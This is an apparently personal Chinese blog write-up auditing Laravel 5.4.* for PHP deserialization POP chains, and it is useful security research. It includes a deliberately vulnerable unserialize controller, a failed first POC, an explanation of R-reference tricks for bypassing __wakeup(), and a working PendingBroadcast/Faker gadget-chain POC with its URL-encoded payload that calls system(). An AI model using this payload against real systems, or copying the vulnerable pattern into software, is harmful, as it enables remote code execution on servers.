本次主要是对Laravel5.4.*的框架进行的代码审计,尝试挖掘其中可利用的POP链。
对于Laravel 5.4.*的环境搭建,这里我主要用到的是Composer
,因为Laravel这个框架其实和Composer联系比较深,对于框架都可以用Composer直接一个命令拉出来。
composer create-project --prefer-dist laravel/laravel laravel5.4 "5.4.*"
或者是在github上面下载Releases也可以:
https://github.com/laravel/laravel
这里的laravel5.4是生成文件名,后面的5.4.*则是版本号。
然后进行一系列操作,参考如下博客:
接下来还是常规操作,对于路由进行配置:
routes/web.php
添加:
Route::get("/","\App\Http\Controllers\[email protected]");
然后在Controller,控制器里添加用来反序列化的函数。
app/Http/Controllers/POPController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class POPController extends Controller{
public function test(){
if(isset($test)){
$test = $_GET['test'];
unserialize($test);
}
else{
echo "No Data";
}
}
}
简单写一个反序列化函数,能够实现反序列化就可以了,注意一下命名空间。然后注意,写的那个函数名要和路由里的一样。
到这里,环境就已经搭建好了。
首先还是传统方式,找一个入口,这里直接用Seay进行扫描,生成一个全局的敏感函数的报告。
然后再用Seay自带的查找功能,去找一个合适的__destruct()
作为反序列化的入口。
同时也可以找找看__wakeup()函数。
可以看见都挺多的,这里我们首先从__destruct()入手。
这里可以多找找,比如第一个
/vendor/fzaninotto/faker/src/Faker/Generator.php
这个地方跟进去,可以发现不是入口
这里可以看见,seed()函数,就是一个调用随机数的函数,没有看见利用点。
这里直接看第二个,通过网上的一些资料可以知道这个是有问题的,这里我自己挖掘走一遍:
/vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
找到destruct()方法:
这里有个dispath方法,关于这个方法,可以从这里看见描述,主要的作用是用于任务推送。
不过用处不大,可以直接跳过,这里直接看一下$this->event
和$this->events
这里两个变量都只有一个写入值,而且是__construct()
方法中的,我们可以控制并调用$events
来决定调用哪个类中的dispatch()
,同时这里很显然$event
的值是我们可以控制的,可以作为跳板,跳转到别的文件中。
这边可以找一下有没有好用的类里有dispatch()
作为突破点,一番寻找下来没有看见,那就考虑一下$event
。
dispath()这个函数不会进行字符串的输出,所以不能以__toString()
作为跳板,这里优先考虑一下,找一个没有dispatch()
方法的类,通过这个方式去调用__call()
,将$event
作为参数,使用Seay进行全局搜索。
稍微有点多,87处。
这里我上网找了一下别的师傅的博客,这里大部分师傅都是调用的Generation里的__call()
方法。我直接跟进一下。
这里看一下$method
和$attributes
可以发现只有一个赋值点,可以控制参数。
这里跟进一下函数
$method
和$attributes
在这里作为call_user_func_array()
函数的参数,进行使用。
call_user_func_array()
这个函数是一个回调函数,格式是
call_user_func_array($function,$param[])
其中$function
是用于指定调用函数的参数,而$param
是作为参数的数组,返回值是布尔值,由回调的函数是否执行成功决定返回true或是false。
在当前函数中,$argument
被控制的,而具体函数则是调用getFormatter
函数的返回值,跟进一下getFormatter()
。
这里直接看第一个if就可以了,这个函数没有对输入做更多处理,只要存在输入,就会直接返还。因此可以知道这里是可以直接调用我们想要的函数。
这里就已经构成rce了,通过回调函数call_user_func_array()
会造成任意代码执行。
这里总结一下利用逻辑:
不成功的POC。
<?php namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; function __construct($events,$event){ $this->events = $events; $this->event = $event; } } } namespace Faker{ class Generator{ protected $formatters; function __construct() { $formatters = ['dispatch'=>'system']; } } } namespace { $a = new Faker\Generator(); $b = new Illuminate\Broadcasting\PendingBroadcast($a,'ls'); echo(urlencode(serialize($b))); } ?>
理论上来说,当执行了这个POC之后,就会执行ls命令。
不过这里会有一个问题,应该是Laravel官方在后续的更新里对这个版本进行了更新,然后通过一个__wakeup()
将$formatters
置空了。
也就是说这条链子这里是死了,不能继续调用。
但是这里应该还是存在一些解决方案的,当我看见这个__wakeup()的时候,首先考虑到的就是能不能改变对象的数量,然后通过CVE-2016-7124(__wakeup绕过),来进行绕过。
但是这里存在一个问题,对于Laravel 5.4.*,需要的PHP版本需要大于等于5.6.4
而这个CVE的影响范围却是,PHP5<5.6.25,PHP7<7.0.10,因此这个不在CVE使用的范围内。
但是后来我在P神的知识星球里面看到了一篇文章,是inHann师傅给出的思路,这里我尝试用于解决一下5.4.*版本的Laravel的__wakeup()
绕过问题。
原文如下:
这里我还是写一下个人理解以及需要的前置知识。
参考了:
https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/
PHP序列化与反序列化中的数据类型与引用方式(reference)
首先,我们知道在PHP中,使用serialize()
函数对对象进行序列化的时候,会使用不同的字母将其中的变量的类型表示出来,例如:
<?php class Demo{ var $a; var $b; public function __construct(){ $this->a = "String"; $this->b = 1; } } $demo = new Demo(); echo serialize($demo);
其中O
代表的对象,s
代表字符串,i
代表整形。
全部类型:
比较常见的类型都是数组之类的,但是其中有两个比较特殊的变量类型,r,R。这两个表示的是引用。
其中r表示的是对象引用,个人理解也可以说是对于标识符的引用。
而R表示的是指针引用,也就是直接引用指向对应内存地址的指针。
或者说:
当两个对象本来就是同一个对象时后出现的对象将会以小写r表示。
而当PHP中的一个对象如果是对另一对象显式的引用,那么在同时对它们进行序列化时将通过大写R表示
两者之间的区别就是,R等于是两个不同的变量名指向了同一块内存(或者说两个不同的变量名里面存了两个不一样的标识符,但是两个标识符都是同时指向同一个内存),因此任何一个变量被改变了,都会影响到所有变量的值。
而r是相当于直接重新开辟了一个内存,只是将值复制过来,然后保存。
第一个是浅拷贝,也就是相当于是PHP序列化中的R。
(如果变量a将[1,2,3]进行了更改,那么b的值自然也会进行更改)
第二个是深拷贝,也就是对应的r。
(变量a,b相互不影响)
这里我用程序演示一下:
<?php class Demo{ var $a; var $b; var $c; public function __construct(){ $this->a = 'first'; $this->b = 'second'; $this->c = 'third'; } } $d = new Demo(); echo (serialize($d)."\n"); $d->c = $d; echo (serialize($d)."\n"); $d->c = $d->a; echo (serialize($d)."\n"); $d->c = &$d->a; echo (serialize($d));
运行结果如下:
这里需要注意的是,Demo
这个类,应当被编号为1,所以第二个输出的结果是r:1
。然后$a
被标志为2,依次类推。
r:1
表示的就是引用第一个值,也就是Demo
。类似的,r:2
就是a
的值。
<?php class SampleClass { var $value; } $a = new SampleClass(); $a->value = $a; //O:11:"SampleClass":1:{s:5:"value";r:1;} $b = new SampleClass(); $b->value = &$b; //O:11:"SampleClass":1:{s:5:"value";R:1;} $a->value = 1; $b->value = 1; var_dump($a); var_dump($b);
可以看见在运行了之后,$a只是改变了$value的值,而$b是直接将本身的值改变了。
这个就是两者之间的差别。
同时,这种方式有一个特点,即使你不是通过serialize()
函数或是Serializable
接口进行的正规序列化,而是直接手写一个R:2
上去,也同样可以完成对于对象的引用。
这里就出现了一个利用方式的思考,因为R
方式的引用,可以使得两个不同的变量的值保持相同。
如果可以满足这个步骤:
$formatters
变量,与某个类中的变量$bypass
成为R
的指针引用关系。$formatters
被置空的时候,通过改变$bypass
的值,即可对$formatters
的值进行修改getFormatter()
之前完成上述操作,就可以成功对冲那个__wakeup()
函数了。也就是说,最好能够找到一个赋值语句,且被赋值的语句是类中的成员属性。类似:
这样,就可以进行序列化,然后直接修改$a
的引用方式,使得其引用$formatters
,然后对其进行重新赋值,达成绕过。
这里想要达成在__wakeup()
之后重新赋值的操作,正常的想法,就是通过反序列化后,触发某个类中的__wakeup()
方法来进行赋值,或是在销毁类的时候,调用其中的__destruct()
方法,来进行操作。
这里全局搜索一下__wakeup()
方法:
每一个都看了一下,感觉上/vendor/laravel/framework/src/Illuminate/Queue/SerializesModels.php
比较有可能性:
public function __wakeup() { foreach ((new ReflectionClass($this))->getProperties() as $property) { $property->setValue($this, $this->getRestoredPropertyValue( $this->getPropertyValue($property) )); } }
这里使用了一个foreach()函数进行了遍历,这里可以看到,使用了PHP中的反射类ReflectionClass
,这个类的作用是通过类名来获取类的成员属性和方法信息。这里的参数是$this
,也就是获取对象中的成员属性,然后会作为ReflectionProperty
类的数组返回其中的成员。
通过foreach()函数,将值依次赋给$property
。
然后调用了setValue()
方法,这个是ReflectionProperty
中自带的方法,用于对成员属性重新赋值,这里可以看到函数定义:
这里跟进一下getRestoredPropertyValue()
方法,
第一个if会直接判断传入的参数是不是ModelIdentifier
类中的成员属性,如果不是就会直接返回原值,到这里就够了,可以直接看下一步。
跟进一下getPropertyValue()
这里可以看到,就是直接调用了setAccessible()
函数,保证这里可以访问保护或者是私有的属性,然后返回值。
本来这里应该是一个可以利用的点,但是因为这个类中没有定义成员变量,无法利用setValue()
这一段。算是失败了。
因为上面看过了wakeup()函数暂时是没有可以利用点,这里重新看一下`destruct()`
看看能不能找到什么可以利用的点。
这里找到了一个疑似可以利用的地方:
\vendor\sebastian\recursion-context\src\Context.php
这里可以看到,作为私有属性定义的$arrays
变量,只有通过__construct()
方法进行赋值,或者是调用addArray()
函数,进行属性的添加。因此我们可以对这个数组的内容进行操作。
但是,虽然可以对数组进行操作,但是我们不能对$array
变量进行操作操作,因此不能使它对$formatters
变量进行引用,也就不能利用了。
如果这里对$array
进行了成员属性的定义,就是一个可以利用的点。
这里还有一个疑似可以利用的地方:
\vendor\symfony\routing\Loader\Configurator\CollectionConfigurator.php
这里可以看见成员属性$this->collection
被新建为了RouteCollection
类的对象,然后在__destruct()
中,进行了方法调用。
这里跟进一下addPrefix
方法,这里看名字应该是某个添加什么东西的方法。
public function addPrefix($prefix, array $defaults = [], array $requirements = []) { $prefix = trim(trim($prefix), '/'); if ('' === $prefix) { return; } foreach ($this->routes as $route) { $route->setPath('/'.$prefix.$route->getPath()); $route->addDefaults($defaults); $route->addRequirements($requirements); } }
这里对$prefix参数进行了处理,将字符串左右的空白制表等符号,还有/
去除,如果去除完了之后是空,则直接返回。如果不是,则对RouteCollection
中的成员属性进行foreach()遍历。
这里跟进一下setPath()
这里可以看到$this->path
,这里有一个外面的/
,没办法去除,绕不过。不然可以尝试去修改$formatters
接下来看看addDefaults
方法。
其中$this->defaults
的值是我们可以控制的,如果对传入的参数我们可以完全控制的话,$name
和$default
也都是我们可以控制的内容,这里就算是打通了。
也就是通过数组的相互引用来修改$formatters
的值,具体操作思路如下:
//思路: <?php class Demo{ public $a = []; public $default = []; public $array; public function __construct(){ $this->a = array("a","b"); $this->array = array(1,2,3,4,5); } public function __wakeup(){ var_dump($this->a); echo "\n"; var_dump($this->default); foreach($this->array as $name=>$value){ $this->default[$name] = $value; var_dump($this->default[$name]); } var_dump($this->a); } } $demo = new Demo(); echo serialize($demo); unserialize('O:4:"Demo":3:{s:1:"a";a:2:{i:0;s:1:"a";i:1;s:1:"b";}s:7:"default";R:2;s:5:"array";a:5:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;}}'); //注意看default后面那个R:2,这里是引用了$a的值。
输出结果如上,可以看到$a的值,从["a","b"]
,变成了[1,2,3,4,5]
这里可以实现修改。同样的,对于$formatters
也可以进行这样的操作。
回头看一下$defaults
值的获取。
麻了,是不能传递参数的一个形参,这里用不了。
下面的addRequirements()
函数也是同理,都是不能传递参数的一个形参,无法调用。
再回头看一下addCollection()
这部分:
这部分可以看到调用了一个函数,直接跟进一下。这个是RouteCollection
类中的方法。
这里可以看到用的是传入的类中的参数,调用了其中的all()函数,这里跟进一下:
可以看到这里关于$routes
变量的赋值,是我们可以操控的。
这里这个函数的foreach()部分,和之前分析的基本一样,因此这里应该是可以打通的。
用之前的POC来进行修改:
这里注意要利用__wakeup()
和__destruct()
执行的顺序差。
<?php namespace Symfony\Component\Routing\Loader\Configurator{ class CollectionConfigurator{ public function __construct(){ $this->parent = new \Symfony\Component\Routing\RouteCollection(); $this->collection = new \Symfony\Component\Routing\RouteCollection(); $this->route = new \Symfony\Component\Routing\Route(); $this->parentConfigurator = new \Illuminate\Broadcasting\PendingBroadcast(); } } } namespace Symfony\Component\Routing{ use Traversable; class RouteCollection implements \IteratorAggregate, \Countable{ public function __construct(){ $this->routes = array("dispatch"=>"system"); } public function getIterator() { // TODO: Implement getIterator() method. } public function count() { // TODO: Implement count() method. } } class Route implements \Serializable { public function __construct() { $this->path = '////'; //这里被trim了之后会直接为空,进入return,主要是为了方便 } public function serialize() { return serialize([ 'path' => $this->path, 'host' => $this->host, 'defaults' => $this->defaults, 'requirements' => $this->requirements, 'options' => $this->options, 'schemes' => $this->schemes, 'methods' => $this->methods, 'condition' => $this->condition, 'compiled' => $this->compiled, ]); } public function unserialize($data) { // TODO: Implement unserialize() method. } } } namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; function __construct(){ $this->events = new \Faker\Generator(); $this->event = 'calc.exe'; //执行的命令在这里,修改了就可以 } } } namespace Faker{ class Generator{ protected $formatters; protected $providers; public function __construct() { $this->formatters = ['useless']; } } } namespace { $POC = new Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator(); echo urlencode(str_replace('363','333',str_replace('a:1:{i:0;s:7:"useless";}', 'R:3;', serialize($POC)))); }
(有点丑,sorry)
然后输出的结果是:
O%3A68%3A%22Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CCollectionConfigurator%22%3A4%3A%7Bs%3A6%3A%22parent%22%3BO%3A41%3A%22Symfony%5CComponent%5CRouting%5CRouteCollection%22%3A1%3A%7Bs%3A6%3A%22routes%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A10%3A%22collection%22%3BO%3A41%3A%22Symfony%5CComponent%5CRouting%5CRouteCollection%22%3A1%3A%7Bs%3A6%3A%22routes%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A5%3A%22route%22%3BC%3A31%3A%22Symfony%5CComponent%5CRouting%5CRoute%22%3A163%3A%7Ba%3A9%3A%7Bs%3A4%3A%22path%22%3Bs%3A4%3A%22%2F%2F%2F%2F%22%3Bs%3A4%3A%22host%22%3BN%3Bs%3A8%3A%22defaults%22%3BN%3Bs%3A12%3A%22requirements%22%3BN%3Bs%3A7%3A%22options%22%3BN%3Bs%3A7%3A%22schemes%22%3BN%3Bs%3A7%3A%22methods%22%3BN%3Bs%3A9%3A%22condition%22%3BN%3Bs%3A8%3A%22compiled%22%3BN%3B%7D%7Ds%3A18%3A%22parentConfigurator%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3BR%3A3%3Bs%3A12%3A%22%00%2A%00providers%22%3BN%3B%7Ds%3A8%3A%22%00%2A%00event%22%3Bs%3A8%3A%22calc.exe%22%3B%7D%7D
演示:
到这里就算是告一段落了。
这条链子主要是因为inHann师傅在他的研究里给出的是一个依赖里的链子,所以我想看看在Laravel里面有没有可以不通过依赖直接利用的那个__wakeup()
的地方,然后捣腾出来的。之前看了一些博客,说这里被__wakeup()
的置空给堵死了,但其实还是有办法利用的。
(其实感觉有点属于屠龙之技,没什么用,主要还是给师傅们提供一个思路吧hhh,希望师傅们轻喷。)
这一次审计主要学到的还是这个对冲的操作在POP链中的利用方式,这个做法还是很灵活的。